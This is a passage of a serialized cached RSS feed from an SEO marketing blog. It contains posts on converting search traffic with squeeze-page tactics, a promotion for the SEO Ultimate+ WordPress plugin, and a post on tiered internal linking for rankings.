right.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the problem / solution&lt;/strong&gt;, which is usually built on the premise of using questions to preface it&amp;#8217;s significance. Are you tired of? &amp;#8220;the problem&amp;#8221; Do you get frustrated when? Now you can be free of, by using our super duper X,Y,Z solution for mere chump change (only $39.95) for the ultimate answer to your prayers. &lt;/p&gt;\n&lt;p&gt;O.k, so I was a bit over the top, but I&amp;#8217;m sure it&amp;#8217;s not the first time you have seen this pitch,  purchased or nearly purchased something as a result of it. Most of us are conditioned not to respond to such an overtly obvious pitch, however, I must admit, I am an impulse shopper and randomly purchase e-books in this fashion and never get around to reading them (the ideal customer for squeeze pages).&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Then, the close,&lt;/strong&gt; here is where they hit you with information about the product or service with the focus is on the &amp;#8220;how you can benefit&amp;#8221; mentality and inevitably the call to action, ORDER NOW!, ORDER TODAY, ORDER IN THE NEXT 5 MINUTES AND RECEIVE A FREE &amp;#8220;rubber ducky, widget,etc.&amp;#8221;, once again, it&amp;#8217;s all about conversion.&lt;/p&gt;\n&lt;p&gt;Sure that page may get 1000 visitors that day, and from that 1000 visitors &lt;strong&gt;100 order&lt;/strong&gt;, that is more than enough to offset the other 900 that did not, so you can see the beauty in their plan. Pages like this could teach a great deal to businesses seeking conversion for their efforts instead of just visitors window shopping and burning up bandwidth, and I must admit even our pages in the main site need to take the positive benefits from such a blatant business model. The squeeze page is just that, a page that funnels their attention to a conclusion and then compels them to take action.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Have you heard of Funneling Attention for Higher Conversions? &lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;Business models that make money are using the funneling tactic to amass massive amounts of income, using a tried and true / simplistic theme. Even though is mainly has it&amp;#8217;s place in direct sales, affiliate programs, sales for e-books or inexpensive items. I have seen this tactic used for offers in the thousands and still convert readers (it just took more filler in the middle to build the argument and present the solution). Getting back to the basis of this article, the conclusion is SEO does not ensure conversion, it merely sets the stage.&lt;/p&gt;\n&lt;p&gt;Branding is one thing, but how many people are online just for the sake of saying &amp;#8221; I am the number one brand for industry X&amp;#8221;, perhaps this is important for corporate America, sure, but,for the rest of us out here trying to make ends meet, we need conversion in some way shape or form.&lt;/p&gt;\n&lt;p&gt;Knowing this, instead of thinking narrow when it comes to using SEO, one could opt for a more holistic approach whereby they identify the behavior of the types of clients they would like to attract, thinking of individuals as opposed to demographics from a one dimensional prospective. If you think holistically, you can cover your bases and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/are-you-google-sighted-or-can-you-see-the-big-picture-of-search/\&quot;&gt;optimize entire segments of the niche&lt;/a&gt; as well as use multiple tactics and search engines to draw traffic from a variety of queries and implement &amp;#8220;attention and retention insurance&amp;#8221; for all of your respective offers. &lt;/p&gt;\n&lt;p&gt;For example, instead of one or two phrases, why not have twenty instead, it essentially takes about the same amount of effort and can be accomplished through modifying slight variations of content and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;how your build links&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Just having a top 10 ranking does not ensure traffic, simply because, not all keywords convert! It truly is sad to see so many people just scratching the surface for topical relevance, when in reality mosts sites are capable of acquiring heightened depth (for readership) and conversion and could achieve 400% more times the amount of traffic from just applying rudimentary steps to lead people through the &amp;#8220;expected action for that page&amp;#8221;. But, they have to get there first, so my suggestion in a nutshell is, to &lt;strong&gt;optimize root phrases with pertinent keywords&lt;/strong&gt; instead of simple &amp;#8220;exact match key phrases&amp;#8221;, use strong internal links to get viewers deeper into the site and use graphics or video&amp;#8217;s to cut the bounce rates in half.&lt;/p&gt;\n&lt;p&gt;We will continue along these lines for the next few days and covering topics related to SEO, conversion, structuring your offer and how the way you craft your content, ultimately impacts the bottom line. Stay tuned for the next post&amp;#8230;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=WawDDa-5Yn0:cNEDoVaKCcc:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/WawDDa-5Yn0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:491:\&quot;SEO is nice for popularity, but conversion is even better. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:125:\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;35\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:120:\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;;}s:7:\&quot;summary\&quot;;s:491:\&quot;SEO is nice for popularity, but conversion is even better. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:10528:\&quot;&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; is nice for popularity, but &lt;strong&gt;conversion is even better&lt;/strong&gt;. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in futility.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg\&quot; alt=\&quot;seo and conversion\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; class=\&quot;aligncenter size-full wp-image-9645\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are you playing it safe with keyword blinders?, or have you diversified your Search Terms?&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;It&amp;#8217;s better to be safe than sorry as a result of &lt;strong&gt;&amp;#8220;having blinders on&amp;#8221;&lt;/strong&gt; when it comes to &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/\&quot;&gt;search engine optimization&lt;/a&gt; and selecting the best keywords for your offer. Instead of thinking in terms of &amp;#8220;the money phrase&amp;#8221;, or, &lt;strong&gt;as soon as I hit the top 10&lt;/strong&gt; for &amp;#8220;my ultimate competitive keyword&amp;#8221;, that floodgates of website traffic will open, sales will inundate our sales team and we will have to hire 20 people to scale our sales department to keep up with the surge of orders and traffic. This is not to say that things like this do not happen, they do, but rarely as a result of one keyword alone.&lt;br /&gt;\n&lt;span id=\&quot;more-105\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Don&amp;#8217;t believe keyword hype&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The misconception typically originates as a result of assumption, or misinformation gleaned from data mining tools / keyword research tools (it says this phrase gets 20,000 hits per month, so it must), which is understandable. I can assure you, we have dominated multiple rankings in top 10 competitive keywords with double organic listings, only to be disappointed by the lack of traffic that resulted. Yet, on the other hand, been completely surprised when you write  or optimize something (supposedly less competitive) and experience surges of traffic for weeks from one keyword you may or may not have expected.  &lt;/p&gt;\n&lt;p&gt;It is important to be clear &lt;strong&gt;what search engine optimization is not&lt;/strong&gt;, in order to know what it truly is. &lt;strong&gt;SEO is not the answer to conversion&lt;/strong&gt;, it is just a tool to rouse the masses to investigate your offer, but ultimately the responsibility lies within the realm of the individual or individuals structuring the offer, to determine just what the anticipated end result will be.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are your Pages Eye Candy? or do they Own a Focus&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The internet is full of hungry eyes with agile minds attached, so many in fact, that your pages may just be another snack along the way. In order to change the menu and make your site &lt;strong&gt;&amp;#8220;the main course&amp;#8221;&lt;/strong&gt;, nine times out of ten, some changes need to occur to make the transition from pages with an idle online existence to a page that for lack of better terms, offers you a deal you can&amp;#8217;t refuse.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;What Can You Learn (and apply to your own site) from a Squeeze Page&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;First, the headline&lt;/strong&gt; &amp;#8211; &lt;a href=\&quot;http://seodesignsolutions.com/blog/small-business-marketing/action-words-and-conversion/\&quot;&gt;Call to Action and Conversion&lt;/a&gt; Starts Here. When you look at a typical squeeze page, once you get there, there is no question what the page is about, in fact they make it hard to see anything other than what the topical relevance is when you first set eyes on the page, but why? Because the headline takes up 25% of the screen, is usually in a ridiculously loud color, with quotes and highlighted in yellow. Anyone who fails at that point to surmise what the contextual relevance is for being there, should have their internet license suspended for surfing blind without emotional attachment. &lt;/p&gt;\n&lt;p&gt;In any case, the point being, the pages, despite how obnoxious they are serve a very fundamental purpose, which is to set the tone and funnel the reader&amp;#8217;s attention to the meat and potatoes of the document (typically found at the very bottom alongside a pay pal purchase button). This is were the old adage of (A.I.D.A) attention, interest, desire, action comes into play in it&amp;#8217;s sublime simplicity. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the testimonial&lt;/strong&gt;, but why? Because they know you are skeptical and they know they need to subvert your defenses in order to engage the rational mind behind the emotional response when you shop (do I need this or do I want this, can I ignore or suppress the urge to purchase, or am I genuinely interested) all the while thousands of queries such as this race through the subconscious and either lead your to (a) move along (b) read further, since your there or (c) take the plunge and purchase, because, what the hay, it&amp;#8217;s only money right.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the problem / solution&lt;/strong&gt;, which is usually built on the premise of using questions to preface it&amp;#8217;s significance. Are you tired of? &amp;#8220;the problem&amp;#8221; Do you get frustrated when? Now you can be free of, by using our super duper X,Y,Z solution for mere chump change (only $39.95) for the ultimate answer to your prayers. &lt;/p&gt;\n&lt;p&gt;O.k, so I was a bit over the top, but I&amp;#8217;m sure it&amp;#8217;s not the first time you have seen this pitch,  purchased or nearly purchased something as a result of it. Most of us are conditioned not to respond to such an overtly obvious pitch, however, I must admit, I am an impulse shopper and randomly purchase e-books in this fashion and never get around to reading them (the ideal customer for squeeze pages).&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Then, the close,&lt;/strong&gt; here is where they hit you with information about the product or service with the focus is on the &amp;#8220;how you can benefit&amp;#8221; mentality and inevitably the call to action, ORDER NOW!, ORDER TODAY, ORDER IN THE NEXT 5 MINUTES AND RECEIVE A FREE &amp;#8220;rubber ducky, widget,etc.&amp;#8221;, once again, it&amp;#8217;s all about conversion.&lt;/p&gt;\n&lt;p&gt;Sure that page may get 1000 visitors that day, and from that 1000 visitors &lt;strong&gt;100 order&lt;/strong&gt;, that is more than enough to offset the other 900 that did not, so you can see the beauty in their plan. Pages like this could teach a great deal to businesses seeking conversion for their efforts instead of just visitors window shopping and burning up bandwidth, and I must admit even our pages in the main site need to take the positive benefits from such a blatant business model. The squeeze page is just that, a page that funnels their attention to a conclusion and then compels them to take action.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Have you heard of Funneling Attention for Higher Conversions? &lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;Business models that make money are using the funneling tactic to amass massive amounts of income, using a tried and true / simplistic theme. Even though is mainly has it&amp;#8217;s place in direct sales, affiliate programs, sales for e-books or inexpensive items. I have seen this tactic used for offers in the thousands and still convert readers (it just took more filler in the middle to build the argument and present the solution). Getting back to the basis of this article, the conclusion is SEO does not ensure conversion, it merely sets the stage.&lt;/p&gt;\n&lt;p&gt;Branding is one thing, but how many people are online just for the sake of saying &amp;#8221; I am the number one brand for industry X&amp;#8221;, perhaps this is important for corporate America, sure, but,for the rest of us out here trying to make ends meet, we need conversion in some way shape or form.&lt;/p&gt;\n&lt;p&gt;Knowing this, instead of thinking narrow when it comes to using SEO, one could opt for a more holistic approach whereby they identify the behavior of the types of clients they would like to attract, thinking of individuals as opposed to demographics from a one dimensional prospective. If you think holistically, you can cover your bases and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/are-you-google-sighted-or-can-you-see-the-big-picture-of-search/\&quot;&gt;optimize entire segments of the niche&lt;/a&gt; as well as use multiple tactics and search engines to draw traffic from a variety of queries and implement &amp;#8220;attention and retention insurance&amp;#8221; for all of your respective offers. &lt;/p&gt;\n&lt;p&gt;For example, instead of one or two phrases, why not have twenty instead, it essentially takes about the same amount of effort and can be accomplished through modifying slight variations of content and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;how your build links&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Just having a top 10 ranking does not ensure traffic, simply because, not all keywords convert! It truly is sad to see so many people just scratching the surface for topical relevance, when in reality mosts sites are capable of acquiring heightened depth (for readership) and conversion and could achieve 400% more times the amount of traffic from just applying rudimentary steps to lead people through the &amp;#8220;expected action for that page&amp;#8221;. But, they have to get there first, so my suggestion in a nutshell is, to &lt;strong&gt;optimize root phrases with pertinent keywords&lt;/strong&gt; instead of simple &amp;#8220;exact match key phrases&amp;#8221;, use strong internal links to get viewers deeper into the site and use graphics or video&amp;#8217;s to cut the bounce rates in half.&lt;/p&gt;\n&lt;p&gt;We will continue along these lines for the next few days and covering topics related to SEO, conversion, structuring your offer and how the way you craft your content, ultimately impacts the bottom line. Stay tuned for the next post&amp;#8230;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=WawDDa-5Yn0:cNEDoVaKCcc:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/WawDDa-5Yn0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:5;a:11:{s:5:\&quot;title\&quot;;s:49:\&quot;Don’t Get Left Behind! Upgrade to SEO Ultimate+\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/iOB6cfJihrA/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 21 Dec 2016 08:14:50 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9637\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2336:\&quot;&lt;p&gt;&lt;img class=\&quot;size-full wp-image-9638 aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg\&quot; alt=\&quot;Upgrade to SEO Ultimate+\&quot; width=\&quot;604\&quot; height=\&quot;364\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg 604w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero-300x181.jpg 300w\&quot; sizes=\&quot;(max-width: 604px) 100vw, 604px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Thanks for clicking through to read this important message.&lt;/p&gt;\n&lt;p&gt;Well, I’ve got &lt;strong&gt;some good news&lt;/strong&gt; and &lt;strong&gt;some bad news&lt;/strong&gt;. The good news is, we’ve got an amazing PRO version of &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward…&lt;br /&gt;\nThe bad news is, &lt;strong&gt;this is the last update for the FREE version&lt;/strong&gt;, but, here’s the deal.&lt;/p&gt;\n&lt;p&gt;We really, really, really love this plugin, but we can’t do both (create new features and support the free, while mutually focusing on the PRO version), so, unfortunately, we’re going to retire the FREE version shortly on January 1st, 2017.&lt;/p&gt;\n&lt;p&gt;But, here’s your chance to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;&lt;strong&gt;get a deep discount of over 40% OFF&lt;/strong&gt;&lt;/a&gt; the regular single license price and get a license for only $29 if you use this link now.&lt;/p&gt;\n&lt;p&gt;Don&amp;#8217;t get left behind and have to use 30 plugins to do the same thing (Internal links, schema markup, Open Graph, link masking, permalink rewrites, canonicalization, mass editing meta data for all pages, posts and post types, 404 monitoring) and more&amp;#8230;.&lt;/p&gt;\n&lt;p&gt;Upgrade to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;SEO Ultimate+&lt;/a&gt; now and kick off the new year with powerful SEO functionality all streamlined in one robust, feature-rich dashboard.&lt;/p&gt;\n&lt;p&gt;Stay tuned.&lt;/p&gt;\n&lt;p&gt;Happy Holidays and all the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=iOB6cfJihrA:LOMpOrWrNEY:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/iOB6cfJihrA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:462:\&quot;Thanks for clicking through to read this important message. Well, I’ve got some good news and some bad news. The good news is, we’ve got an amazing PRO version of SEO Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward… The bad news is, this is &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/dont-get-left-behind-upgrade-to-seo-ultimate/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:98:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/dont-get-left-behind-upgrade-to-seo-ultimate/\&quot;;}s:7:\&quot;summary\&quot;;s:462:\&quot;Thanks for clicking through to read this important message. Well, I’ve got some good news and some bad news. The good news is, we’ve got an amazing PRO version of SEO Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward… The bad news is, this is &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/dont-get-left-behind-upgrade-to-seo-ultimate/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:2336:\&quot;&lt;p&gt;&lt;img class=\&quot;size-full wp-image-9638 aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg\&quot; alt=\&quot;Upgrade to SEO Ultimate+\&quot; width=\&quot;604\&quot; height=\&quot;364\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg 604w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero-300x181.jpg 300w\&quot; sizes=\&quot;(max-width: 604px) 100vw, 604px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Thanks for clicking through to read this important message.&lt;/p&gt;\n&lt;p&gt;Well, I’ve got &lt;strong&gt;some good news&lt;/strong&gt; and &lt;strong&gt;some bad news&lt;/strong&gt;. The good news is, we’ve got an amazing PRO version of &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward…&lt;br /&gt;\nThe bad news is, &lt;strong&gt;this is the last update for the FREE version&lt;/strong&gt;, but, here’s the deal.&lt;/p&gt;\n&lt;p&gt;We really, really, really love this plugin, but we can’t do both (create new features and support the free, while mutually focusing on the PRO version), so, unfortunately, we’re going to retire the FREE version shortly on January 1st, 2017.&lt;/p&gt;\n&lt;p&gt;But, here’s your chance to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;&lt;strong&gt;get a deep discount of over 40% OFF&lt;/strong&gt;&lt;/a&gt; the regular single license price and get a license for only $29 if you use this link now.&lt;/p&gt;\n&lt;p&gt;Don&amp;#8217;t get left behind and have to use 30 plugins to do the same thing (Internal links, schema markup, Open Graph, link masking, permalink rewrites, canonicalization, mass editing meta data for all pages, posts and post types, 404 monitoring) and more&amp;#8230;.&lt;/p&gt;\n&lt;p&gt;Upgrade to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;SEO Ultimate+&lt;/a&gt; now and kick off the new year with powerful SEO functionality all streamlined in one robust, feature-rich dashboard.&lt;/p&gt;\n&lt;p&gt;Stay tuned.&lt;/p&gt;\n&lt;p&gt;Happy Holidays and all the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=iOB6cfJihrA:LOMpOrWrNEY:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/iOB6cfJihrA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:6;a:13:{s:5:\&quot;title\&quot;;s:49:\&quot;Managing Link Weight and Building Link Insurance!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/SbAgitQy41g/\&quot;;s:8:\&quot;category\&quot;;s:75:\&quot;Link BuildingBuilding Links to Your LinksLink-InsuranceManaging Link Weight\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sun, 01 May 2016 07:48:55 PDT\&quot;;s:4:\&quot;guid\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:5536:\&quot;&lt;p&gt;I Just wanted to share a quick &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; strategy for &lt;strong&gt;balancing link weight&lt;/strong&gt;. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this &lt;strong&gt;link insurance&lt;/strong&gt; (insurance in the sense that just in case you need it).&lt;br /&gt;\n&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;&gt;&lt;img class=\&quot;aligncenter wp-image-9603 size-full\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg\&quot; alt=\&quot;link-weight-link-insurance\&quot; width=\&quot;400\&quot; height=\&quot;346\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance-300x260.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Since the value of links is all based on the collective support they rally. The stronger the backlink the more value it can pass to your site as far as aiding your pages in maintaining or increasing positioning.&lt;span id=\&quot;more-204\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;If you have ever tagged a site using social bookmarking, then you have scratched the surface. For example social bookmarking utilizes the premise of &lt;strong&gt;link insurance&lt;/strong&gt;. Not only is it great to seal the deal with spiders (by getting their attention), but with enough inbound links strategically augmenting a page, it can provide long-term value for the &lt;strong&gt;link-freshness factor&lt;/strong&gt; which can keep your internal pages buoyant and moving up in the search engine rankings.&lt;/p&gt;\n&lt;p&gt;A stable authority site (built over time with a tremendous amount of link weight) has less chance of losing favor with search engine algorithms. However, what about other transient links, that drop off, get buried over time or the site architecture from the site offering the link is so taxed that by the time the pages are spidered &lt;strong&gt;they are tapped out&lt;/strong&gt; as far as their real value is concerned? What is a viable solution to revive potential rankings?&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The Solution: Building links to your links as insurance&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;I am not suggesting to abuse this tactic, what I am insinuating is, maintaining a stable influx of link juice into a site benefits all of the pages in that site (as long as you distribute the inbound links in moderation). The premise here is, &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;balancing&lt;/a&gt; the ratios of content development to inbound links (and their various anchor and modifiers) along with systemic deep linking is the cornerstone of relevance of &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/seo-basics-using-allinanchor-allintitle-allintext/\&quot;&gt;SEO basics&lt;/a&gt; in action.&lt;/p&gt;\n&lt;p&gt;Links also can have more internal value from a page that was recently promoted in the Google algorithm. For example, if a page went from a page rank of zero to a PR2 or PR3 page in one update, if it gets indexed regularly and is succinctly tied to the sites main navigation, then you have an authority link right under your nose you can use to augment your main keywords as you wish.&lt;/p&gt;\n&lt;p&gt;You can always review such content an amend it for a common goal. Ten links from &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/using-deep-links-to-summon-search-engine-spiders/\&quot;&gt;strong internal pages&lt;/a&gt; to a sub folder or page buried deep in the site can change the landscape of a page or sites SEO value. Combining this with the fact that you can point new links from those pages at older links (to keep them fresh) or use them to kick off new content with a splash, the possibilities for recycling your sites internal link dynamo is promising.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;One Example of the Equation:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Find a slouching ranking and determine a keyword you want to invigorate&lt;br /&gt;\n&lt;strong&gt;2)&lt;/strong&gt; use a site:yourdomainname.com keyword (command) to find the most relevant page in your site&lt;br /&gt;\n&lt;strong&gt;3)&lt;/strong&gt; Build a new page using the &lt;strong&gt;main keyword in the title and text&lt;/strong&gt;&lt;br /&gt;\n&lt;strong&gt;4)&lt;/strong&gt; Link to the new page from the old page (with page rank) using the (keyword) as the anchor text / link text&lt;br /&gt;\n &lt;strong&gt;5)&lt;/strong&gt; publish your content&lt;br /&gt;\n&lt;strong&gt;6)&lt;/strong&gt; build links back to the old page (using social bookmarking or other ethical link building methods) to flow link weight back to your site and your new page.&lt;/p&gt;\n&lt;p&gt;When the page gets crawled, it already has the ranking factors intact, relevance and an endorsement from your own internal links. This is a great strategy for a maiden voyage for a new page, although this is a rudimentary version of the tactic, you can see the value in building links to your links.&lt;/p&gt;\n&lt;p&gt;Every three months, you could essentially go back through your analytics, look at the most searched keywords, perform an audit and ensure that your older links are getting enough nurturing as a result of fresh links. The stronger they are the stronger your site is.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=SbAgitQy41g:ytdtE7dvXFE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; 